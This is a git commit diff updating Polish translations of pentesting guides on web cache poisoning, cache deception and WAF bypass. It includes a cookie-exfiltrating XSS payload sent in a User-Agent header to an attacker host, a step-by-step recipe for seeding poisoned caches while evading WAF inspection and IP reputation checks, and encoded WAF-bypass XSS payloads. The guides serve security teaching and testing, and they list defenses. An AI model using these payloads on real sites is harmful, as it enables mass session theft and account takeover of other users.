Translated ['src/pentesting-web/proxy-waf-protections-bypass.md', 'src/p

This commit is contained in:
Translator 2025-08-21 06:07:51 +00:00
parent c959b8089e
commit 6d2eb97746
2 changed files with 97 additions and 41 deletions

View File

@ -37,7 +37,7 @@ Jednak zauważ, że **czasami te rodzaje kodów statusu nie są buforowane**, wi
### Odkrycie: Identyfikacja i ocena niekluczowych wejść
Możesz użyć [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943), aby **bruteforce'ować parametry i nagłówki**, które mogą **zmieniać odpowiedź strony**. Na przykład, strona może używać nagłówka `X-Forwarded-For`, aby wskazać klientowi załadowanie skryptu stamtąd:
Możesz użyć [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943), aby **brute-forcować parametry i nagłówki**, które mogą **zmieniać odpowiedź strony**. Na przykład, strona może używać nagłówka `X-Forwarded-For`, aby wskazać klientowi załadowanie skryptu stamtąd:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
@ -105,7 +105,7 @@ cache-poisoning-via-url-discrepancies.md
### Zatrucie pamięci podręcznej z wykorzystaniem przejścia ścieżki w celu kradzieży klucza API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Ten artykuł wyjaśnia**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) jak możliwe było skradzenie klucza API OpenAI za pomocą URL-a takiego jak `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, ponieważ wszystko, co pasuje do `/share/*`, będzie buforowane bez normalizacji URL przez Cloudflare, co miało miejsce, gdy żądanie dotarło do serwera webowego.
[**Ten artykuł wyjaśnia**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) jak możliwe było skradzenie klucza API OpenAI za pomocą URL-a `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, ponieważ wszystko, co pasuje do `/share/*`, będzie buforowane bez normalizacji URL przez Cloudflare, co miało miejsce, gdy żądanie dotarło do serwera webowego.
Jest to również lepiej wyjaśnione w:
@ -124,7 +124,7 @@ X-Forwarded-Scheme: http
```
### Wykorzystywanie z ograniczonym nagłówkiem `Vary`
Jeśli odkryłeś, że nagłówek **`X-Host`** jest używany jako **nazwa domeny do ładowania zasobu JS**, ale nagłówek **`Vary`** w odpowiedzi wskazuje na **`User-Agent`**. W takim razie musisz znaleźć sposób na wyekstrahowanie User-Agent ofiary i zanieczyszczenie pamięci podręcznej przy użyciu tego user agenta:
Jeśli odkryłeś, że nagłówek **`X-Host`** jest używany jako **nazwa domeny do ładowania zasobu JS**, ale nagłówek **`Vary`** w odpowiedzi wskazuje na **`User-Agent`**. W takim przypadku musisz znaleźć sposób na wyekstrahowanie User-Agent ofiary i zanieczyszczenie pamięci podręcznej, używając tego user agenta:
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -146,7 +146,7 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web
### Ukrywanie parametrów
Na przykład, możliwe jest oddzielenie **parametrów** w serwerach ruby za pomocą znaku **`;`** zamiast **`&`**. Może to być użyte do umieszczania wartości parametrów bez kluczy wewnątrz tych z kluczami i ich nadużywania.
Na przykład możliwe jest oddzielenie **parametrów** na serwerach ruby za pomocą znaku **`;`** zamiast **`&`**. Może to być użyte do umieszczania wartości parametrów bez kluczy wewnątrz tych z kluczami i ich nadużywania.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
@ -154,13 +154,49 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
Dowiedz się tutaj, jak przeprowadzać [ataki na zatrucie pamięci podręcznej, nadużywając HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Automatyczne testowanie dla zatrucia pamięci podręcznej
### Zautomatyzowane testowanie dla zatrucia pamięci podręcznej
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) może być używany do automatycznego testowania pod kątem zatrucia pamięci podręcznej. Obsługuje wiele różnych technik i jest wysoce konfigurowalny.
Przykład użycia: `wcvs -u example.com`
## Przykłady podatności
### Odbicie nagłówka XSS + seeding pamięci podręcznej wspomagany przez CDN/WAF (User-Agent, automatycznie buforowany .js)
Ten wzór z rzeczywistego świata łączy prymityw odbicia opartego na nagłówku z zachowaniem CDN/WAF, aby niezawodnie zatruć buforowany HTML serwowany innym użytkownikom:
- Główny HTML odbił nieufny nagłówek żądania (np. `User-Agent`) w kontekście wykonawczym.
- CDN usunął nagłówki pamięci podręcznej, ale istniała pamięć podręczna wewnętrzna/oryginalna. CDN również automatycznie buforował żądania kończące się statycznymi rozszerzeniami (np. `.js`), podczas gdy WAF stosował słabszą inspekcję treści do GETów dla statycznych zasobów.
- Dziwactwa przepływu żądań pozwoliły na to, aby żądanie do ścieżki `.js` wpłynęło na klucz/wariant pamięci podręcznej używany dla następnego głównego HTML, umożliwiając XSS między użytkownikami poprzez odbicie nagłówka.
Praktyczny przepis (obserwowany w popularnym CDN/WAF):
1) Z czystego IP (unikaj wcześniejszych degradacji opartych na reputacji), ustaw złośliwy `User-Agent` za pomocą przeglądarki lub Burp Proxy Match & Replace.
2) W Burp Repeater przygotuj grupę dwóch żądań i użyj "Wyślij grupę równolegle" (tryb pojedynczego pakietu działa najlepiej):
- Pierwsze żądanie: GET zasobu `.js` na tym samym pochodzeniu, wysyłając swój złośliwy `User-Agent`.
- Natychmiast po tym: GET głównej strony (`/`).
3) Wyścig routingu CDN/WAF oraz automatycznie buforowany `.js` często zasiewa zatrutą wersję buforowanego HTML, która jest następnie serwowana innym odwiedzającym dzielącym te same warunki klucza pamięci podręcznej (np. te same wymiary `Vary` jak `User-Agent`).
Przykład ładunku nagłówka (do eksfiltracji ciasteczek nie-HttpOnly):
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
Operational tips:
- Wiele CDN-ów ukrywa nagłówki pamięci podręcznej; zatrucie może wystąpić tylko podczas wielogodzinnych cykli odświeżania. Użyj wielu adresów IP i ogranicz prędkość, aby uniknąć wyzwalaczy limitów szybkości lub reputacji.
- Użycie adresu IP z własnej chmury CDN czasami poprawia spójność routingu.
- Jeśli obecna jest surowa CSP, to nadal działa, jeśli odbicie wykonuje się w głównym kontekście HTML, a CSP zezwala na wykonanie wbudowane lub jest omijane przez kontekst.
Impact:
- Jeśli ciasteczka sesyjne nie są `HttpOnly`, możliwe jest przejęcie konta bez kliknięcia przez masowe wyeksportowanie `document.cookie` od wszystkich użytkowników, którzy otrzymują zatruty HTML.
Defenses:
- Przestań odbijać nagłówki żądań w HTML; ściśle koduj kontekstowo, jeśli to nieuniknione. Dostosuj polityki pamięci podręcznej CDN i źródła oraz unikaj różnicowania na niezaufanych nagłówkach.
- Upewnij się, że WAF stosuje inspekcję treści konsekwentnie do żądań `.js` i statycznych ścieżek.
- Ustaw `HttpOnly` (i `Secure`, `SameSite`) na ciasteczkach sesyjnych.
## Vulnerable Examples
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
@ -172,37 +208,37 @@ Wysłanie złej wartości w nagłówku content-type spowodowało wyzwolenie odpo
### GitLab + GCP CP-DoS
GitLab używa koszy GCP do przechowywania treści statycznych. **GCP Buckets** obsługują **nagłówek `x-http-method-override`**. Możliwe było więc wysłanie nagłówka `x-http-method-override: HEAD` i zatrucie pamięci podręcznej, aby zwrócić pustą treść odpowiedzi. Mogło to również wspierać metodę `PURGE`.
GitLab używa koszy GCP do przechowywania treści statycznych. **GCP Buckets** wspierają **nagłówek `x-http-method-override`**. Tak więc możliwe było wysłanie nagłówka `x-http-method-override: HEAD` i zatrucie pamięci podręcznej, aby zwrócić pustą treść odpowiedzi. Mogło to również wspierać metodę `PURGE`.
### Rack Middleware (Ruby on Rails)
W aplikacjach Ruby on Rails często wykorzystywane jest middleware Rack. Celem kodu Rack jest pobranie wartości nagłówka **`x-forwarded-scheme`** i ustawienie go jako schematu żądania. Gdy nagłówek `x-forwarded-scheme: http` jest wysyłany, następuje przekierowanie 301 do tej samej lokalizacji, co potencjalnie może spowodować Denial of Service (DoS) dla tego zasobu. Dodatkowo, aplikacja może uznawać nagłówek `X-forwarded-host` i przekierowywać użytkowników do określonego hosta. To zachowanie może prowadzić do ładowania plików JavaScript z serwera atakującego, co stanowi zagrożenie dla bezpieczeństwa.
W aplikacjach Ruby on Rails często wykorzystywane jest middleware Rack. Celem kodu Rack jest wzięcie wartości nagłówka **`x-forwarded-scheme`** i ustawienie go jako schematu żądania. Gdy nagłówek `x-forwarded-scheme: http` jest wysyłany, następuje przekierowanie 301 do tej samej lokalizacji, co potencjalnie może spowodować Denial of Service (DoS) dla tego zasobu. Dodatkowo aplikacja może uznawać nagłówek `X-forwarded-host` i przekierowywać użytkowników do określonego hosta. To zachowanie może prowadzić do ładowania plików JavaScript z serwera atakującego, co stanowi zagrożenie dla bezpieczeństwa.
### 403 i Kosze przechowywania
### 403 and Storage Buckets
Cloudflare wcześniej buforował odpowiedzi 403. Próba dostępu do S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami autoryzacji skutkowała odpowiedzią 403, która była buforowana. Chociaż Cloudflare przestał buforować odpowiedzi 403, to zachowanie może nadal występować w innych usługach proxy.
### Wstrzykiwanie parametrów z kluczami
### Injecting Keyed Parameters
Pamięci podręczne często zawierają konkretne parametry GET w kluczu pamięci podręcznej. Na przykład, Varnish Fastly buforował parametr `size` w żądaniach. Jednak jeśli wysłano również wersję zakodowaną URL parametru (np. `siz%65`) z błędną wartością, klucz pamięci podręcznej byłby skonstruowany przy użyciu poprawnego parametru `size`. Niemniej jednak backend przetwarzałby wartość w zakodowanym URL parametrze. Zakodowanie URL drugiego parametru `size` prowadziło do jego pominięcia przez pamięć podręczną, ale jego wykorzystania przez backend. Przypisanie wartości 0 do tego parametru skutkowało buforowanym błędem 400 Bad Request.
Pamięci podręczne często zawierają określone parametry GET w kluczu pamięci podręcznej. Na przykład, Varnish Fastly buforował parametr `size` w żądaniach. Jednak jeśli wysłano również zakodowaną wersję parametru (np. `siz%65`) z błędną wartością, klucz pamięci podręcznej byłby skonstruowany przy użyciu poprawnego parametru `size`. Jednak backend przetwarzałby wartość w zakodowanym parametrze. Zakodowanie drugiego parametru `size` prowadziło do jego pominięcia przez pamięć podręczną, ale jego wykorzystania przez backend. Przypisanie wartości 0 do tego parametru skutkowało buforowalnym błędem 400 Bad Request.
### Zasady User Agent
### User Agent Rules
Niektórzy deweloperzy blokują żądania z user-agentami odpowiadającymi narzędziom o dużym ruchu, takim jak FFUF czy Nuclei, aby zarządzać obciążeniem serwera. Ironią jest to, że podejście to może wprowadzać luki, takie jak zatrucie pamięci podręcznej i DoS.
Niektórzy deweloperzy blokują żądania z user-agentami odpowiadającymi tym z narzędzi o dużym ruchu, takich jak FFUF czy Nuclei, aby zarządzać obciążeniem serwera. Ironią jest to, że takie podejście może wprowadzać luki, takie jak zatrucie pamięci podręcznej i DoS.
### Nieprawidłowe pola nagłówków
### Illegal Header Fields
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) określa akceptowalne znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza określonego zakresu **tchar** powinny idealnie wyzwalać odpowiedź 400 Bad Request. W praktyce serwery nie zawsze przestrzegają tego standardu. Znaczącym przykładem jest Akamai, które przesyła nagłówki z nieprawidłowymi znakami i buforuje każdy błąd 400, o ile nagłówek `cache-control` nie jest obecny. Zidentyfikowano wzór, w którym wysłanie nagłówka z nieprawidłowym znakiem, takim jak `\`, skutkowało buforowanym błędem 400 Bad Request.
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) określa akceptowalne znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza określonego zakresu **tchar** powinny idealnie wyzwalać odpowiedź 400 Bad Request. W praktyce serwery nie zawsze przestrzegają tego standardu. Znaczącym przykładem jest Akamai, który przesyła nagłówki z nieprawidłowymi znakami i buforuje każdy błąd 400, o ile nagłówek `cache-control` nie jest obecny. Zidentyfikowano wzór, w którym wysłanie nagłówka z nielegalnym znakiem, takim jak `\`, skutkowało buforowalnym błędem 400 Bad Request.
### Znajdowanie nowych nagłówków
### Finding new headers
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Oszustwo pamięci podręcznej
## Cache Deception
Celem Oszustwa pamięci podręcznej jest sprawienie, aby klienci **ładowali zasoby, które mają być zapisane przez pamięć podręczną z ich wrażliwymi informacjami**.
Celem Cache Deception jest sprawienie, aby klienci **ładowali zasoby, które będą zapisywane przez pamięć podręczną z ich wrażliwymi informacjami**.
Przede wszystkim należy zauważ, że **rozszerzenia** takie jak `.css`, `.js`, `.png` itp. są zazwyczaj **konfigurowane** do **zapisywania** w **pamięci podręcznej.** Dlatego, jeśli uzyskasz dostęp do `www.example.com/profile.php/nonexistent.js`, pamięć podręczna prawdopodobnie zapisze odpowiedź, ponieważ widzi rozszerzenie `.js`. Ale, jeśli **aplikacja** odpowiada **wrażliwymi** treściami użytkownika przechowywanymi w _www.example.com/profile.php_, możesz **ukraść** te treści od innych użytkowników.
Przede wszystkim zauważ, że **rozszerzenia** takie jak `.css`, `.js`, `.png` itp. są zazwyczaj **konfigurowane** do **zapisywania** w **pamięci podręcznej.** Dlatego, jeśli uzyskasz dostęp do `www.example.com/profile.php/nonexistent.js`, pamięć podręczna prawdopodobnie zapisze odpowiedź, ponieważ widzi rozszerzenie `.js`. Ale jeśli **aplikacja** odpowiada **wrażliwymi** treściami użytkownika przechowywanymi w _www.example.com/profile.php_, możesz **ukraść** te treści od innych użytkowników.
Inne rzeczy do przetestowania:
@ -217,15 +253,15 @@ Inny bardzo jasny przykład można znaleźć w tym opisie: [https://hackerone.co
W przykładzie wyjaśniono, że jeśli załadujesz nieistniejącą stronę, taką jak _http://www.example.com/home.php/non-existent.css_, treść _http://www.example.com/home.php_ (**z wrażliwymi informacjami użytkownika**) zostanie zwrócona, a serwer pamięci podręcznej zapisze wynik.\
Następnie **atakujący** może uzyskać dostęp do _http://www.example.com/home.php/non-existent.css_ w swojej przeglądarce i obserwować **poufne informacje** użytkowników, którzy uzyskali dostęp wcześniej.
Zauważ, że **proxy pamięci podręcznej** powinno być **skonfigurowane** do **buforowania** plików **na podstawie** **rozszerzenia** pliku (_.css_) a nie na podstawie typu zawartości. W przykładzie _http://www.example.com/home.php/non-existent.css_ będzie miał typ zawartości `text/html` zamiast `text/css` (co jest oczekiwane dla pliku _.css_).
Zauważ, że **proxy pamięci podręcznej** powinno być **skonfigurowane** do **buforowania** plików **na podstawie** **rozszerzenia** pliku (_.css_) i nie na podstawie typu treści. W przykładzie _http://www.example.com/home.php/non-existent.css_ będzie miał typ treści `text/html` zamiast `text/css` (co jest oczekiwane dla pliku _.css_).
Dowiedz się tutaj, jak przeprowadzać [ataki Oszustwa pamięci podręcznej, nadużywając HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
Dowiedz się tutaj, jak przeprowadzać [ataki Cache Deceptions wykorzystujące HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
## Narzędzia automatyczne
## Automatic Tools
- [**toxicache**](https://github.com/xhzeem/toxicache): skaner Golang do znajdowania luk w pamięci podręcznej w liście URL i testowania wielu technik wstrzykiwania.
## Odniesienia
## References
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
@ -233,6 +269,8 @@ Dowiedz się tutaj, jak przeprowadzać [ataki Oszustwa pamięci podręcznej, nad
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -17,22 +17,22 @@ location = /admin/ {
deny all;
}
```
Aby zapobiec obejściom, Nginx wykonuje normalizację ścieżek przed jej sprawdzeniem. Jednak jeśli serwer zaplecza wykonuje inną normalizację (usuwając znaki, których Nginx nie usuwa), może być możliwe obejście tej obrony.
Aby zapobiec obejściom, Nginx wykonuje normalizację ścieżek przed ich sprawdzeniem. Jednak jeśli serwer zaplecza wykonuje inną normalizację (usuwając znaki, których Nginx nie usuwa), może być możliwe obejście tej obrony.
### **NodeJS - Express**
| Wersja Nginx | **Znaki do obejścia Node.js** |
| ------------- | ------------------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
| ------------- | ----------------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
### **Flask**
| Wersja Nginx | **Znaki do obejścia Flask** |
| ------------- | --------------------------------------------------------------- |
| Wersja Nginx | **Znaki do obejścia Flask** |
| ------------- | -------------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
@ -79,7 +79,7 @@ Dlatego żądanie takie jak `http://example.com/foo%3f';alert(1);foo=` w mod sec
Zmienna `REQUEST_BASENAME` i `PATH_INFO` również były dotknięte tym błędem.
Coś podobnego miało miejsce w wersji 2 Mod Security, która pozwalała na ominięcie ochrony, która uniemożliwiała użytkownikom dostęp do plików z określonymi rozszerzeniami związanymi z plikami kopii zapasowej (takimi jak `.bak`), po prostu wysyłając kropkę zakodowaną w URL jako `%2e`, na przykład: `https://example.com/backup%2ebak`.
Coś podobnego miało miejsce w wersji 2 Mod Security, która pozwalała na ominięcie ochrony, która uniemożliwiała użytkownikom dostęp do plików z określonymi rozszerzeniami związanymi z plikami kopii zapasowych (takimi jak `.bak`), po prostu wysyłając kropkę zakodowaną w URL jako `%2e`, na przykład: `https://example.com/backup%2ebak`.
## Ominięcie AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
@ -102,15 +102,15 @@ Możliwe było ominięcie AWS WAF, ponieważ nie rozumiał, że następna linia
### Limity rozmiaru żądania
Zwykle WAF-y mają określony limit długości żądań do sprawdzenia, a jeśli żądanie POST/PUT/PATCH go przekracza, WAF nie sprawdzi żądania.
Zwykle WAF-y mają określony limit długości żądań do sprawdzenia, a jeśli żądanie POST/PUT/PATCH przekracza ten limit, WAF nie sprawdzi żądania.
- Dla AWS WAF, możesz [**sprawdzić dokumentację**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
- Dla AWS WAF możesz [**sprawdzić dokumentację**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maksymalny rozmiar ciała żądania sieciowego, które może być sprawdzane dla ochrony Application Load Balancer i AWS AppSync</td><td>8 KB</td></tr><tr><td>Maksymalny rozmiar ciała żądania sieciowego, które może być sprawdzane dla ochrony CloudFront, API Gateway, Amazon Cognito, App Runner i Verified Access**</td><td>64 KB</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maksymalny rozmiar ciała żądania webowego, które może być sprawdzane dla ochrony Application Load Balancer i AWS AppSync</td><td>8 KB</td></tr><tr><td>Maksymalny rozmiar ciała żądania webowego, które może być sprawdzane dla ochrony CloudFront, API Gateway, Amazon Cognito, App Runner i Verified Access**</td><td>64 KB</td></tr></tbody></table>
- Z [**dokumentacji Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
Starsze zapory aplikacji internetowych z Core Rule Set 3.1 (lub niższym) pozwalają na wiadomości większe niż **128 KB** poprzez wyłączenie inspekcji ciała żądania, ale te wiadomości nie będą sprawdzane pod kątem podatności. W nowszych wersjach (Core Rule Set 3.2 lub nowszych) to samo można osiągnąć, wyłączając maksymalny limit ciała żądania. Gdy żądanie przekracza limit rozmiaru:
Starsze zapory aplikacji webowych z Core Rule Set 3.1 (lub niższym) pozwalają na wiadomości większe niż **128 KB** poprzez wyłączenie inspekcji ciała żądania, ale te wiadomości nie będą sprawdzane pod kątem podatności. W nowszych wersjach (Core Rule Set 3.2 lub nowszych) to samo można osiągnąć, wyłączając maksymalny limit ciała żądania. Gdy żądanie przekracza limit rozmiaru:
Jeśli **tryb zapobiegania**: Rejestruje i blokuje żądanie.\
Jeśli **tryb wykrywania**: Sprawdza do limitu, ignoruje resztę i rejestruje, jeśli `Content-Length` przekracza limit.
@ -123,7 +123,24 @@ Domyślnie WAF sprawdza tylko pierwsze 8KB żądania. Może zwiększyć limit do
Do 128KB.
### Obfuskacja <a href="#obfuscation" id="obfuscation"></a>
### Luki w inspekcji zasobów statycznych (.js GETs)
Niektóre stosy CDN/WAF stosują słabą lub żadną inspekcję treści dla żądań GET dotyczących zasobów statycznych (na przykład ścieżek kończących się na `.js`), jednocześnie stosując globalne zasady, takie jak ograniczenie liczby żądań i reputacja IP. W połączeniu z automatycznym buforowaniem statycznych rozszerzeń, można to wykorzystać do dostarczania lub zarażania złośliwymi wariantami, które wpływają na kolejne odpowiedzi HTML.
Praktyczne przypadki użycia:
- Wysyłaj ładunki w nieufnych nagłówkach (np. `User-Agent`) w żądaniu GET do ścieżki `.js`, aby uniknąć inspekcji treści, a następnie natychmiast żądaj głównego HTML, aby wpłynąć na buforowany wariant.
- Użyj świeżego/czystego IP; gdy IP zostanie oznaczone, zmiany w trasowaniu mogą sprawić, że technika stanie się niewiarygodna.
- W Burp Repeater użyj "Wyślij grupę równolegle" (styl pojedynczego pakietu), aby przyspieszyć dwa żądania (`.js`, a następnie HTML) przez tę samą ścieżkę front-end.
Dobrze to współgra z zatruciem pamięci podręcznej odzwierciedlenia nagłówków. Zobacz:
- {{#ref}}
cache-deception/README.md
{{#endref}}
- [Jak znalazłem przejęcie konta 0-Click w publicznym BBP i wykorzystałem to do uzyskania dostępu do funkcji na poziomie administratora](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
### Obfuskacja <a href="#ip-rotation" id="ip-rotation"></a>
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
@ -133,7 +150,7 @@ Do 128KB.
```
### Zgodność z Unicode <a href="#unicode-compatability" id="unicode-compatability"></a>
W zależności od implementacji normalizacji Unicode (więcej informacji [tutaj](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), znaki, które mają zgodność z Unicode, mogą być w stanie obejść WAF i wykonać zamierzony ładunek. Znaki zgodne można znaleźć [tutaj](https://www.compart.com/en/unicode).
W zależności od implementacji normalizacji Unicode (więcej informacji [tutaj](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), znaki, które mają zgodność z Unicode, mogą być w stanie obejść WAF i wykonać zamierzony ładunek. Zgodne znaki można znaleźć [tutaj](https://www.compart.com/en/unicode).
#### Przykład <a href="#example" id="example"></a>
```bash
@ -143,9 +160,9 @@ W zależności od implementacji normalizacji Unicode (więcej informacji [tutaj]
```
### Obejście kontekstowych WAF-ów za pomocą kodowania <a href="#ip-rotation" id="ip-rotation"></a>
Jak wspomniano w [**tym wpisie na blogu**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), aby obejść WAF-y, które są w stanie utrzymać kontekst danych wejściowych użytkownika, możemy nadużyć techniki WAF, aby faktycznie znormalizować dane wejściowe użytkowników.
Jak wspomniano w [**tym wpisie na blogu**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), aby obejść WAF-y, które są w stanie utrzymać kontekst danych wejściowych użytkownika, możemy nadużyć technik WAF, aby faktycznie znormalizować dane wejściowe użytkowników.
Na przykład, w poście wspomniano, że **Akamai zdekodował dane wejściowe użytkownika 10 razy**. Dlatego coś takiego jak `<input/%2525252525252525253e/onfocus` będzie postrzegane przez Akamai jako `<input/>/onfocus`, co **może być uznane za poprawne, ponieważ tag jest zamknięty**. Jednakże, dopóki aplikacja nie zdekoduje danych wejściowych 10 razy, ofiara zobaczy coś takiego jak `<input/%25252525252525253e/onfocus`, co **wciąż jest ważne dla ataku XSS**.
Na przykład w poście wspomniano, że **Akamai dekodowało dane wejściowe użytkownika 10 razy**. Dlatego coś takiego jak `<input/%2525252525252525253e/onfocus` będzie widziane przez Akamai jako `<input/>/onfocus`, co **może być uznane za poprawne, ponieważ tag jest zamknięty**. Jednakże, dopóki aplikacja nie dekoduje danych wejściowych 10 razy, ofiara zobaczy coś takiego jak `<input/%25252525252525253e/onfocus`, co **wciąż jest ważne dla ataku XSS**.
Dlatego pozwala to na **ukrywanie ładunków w zakodowanych komponentach**, które WAF zdekoduje i zinterpretuje, podczas gdy ofiara tego nie zrobi.
@ -209,6 +226,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
- [Jak znalazłem 0-Click przejęcie konta w publicznym BBP i wykorzystałem to do uzyskania dostępu do funkcji na poziomie administratora](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
{{#include ../banners/hacktricks-training.md}}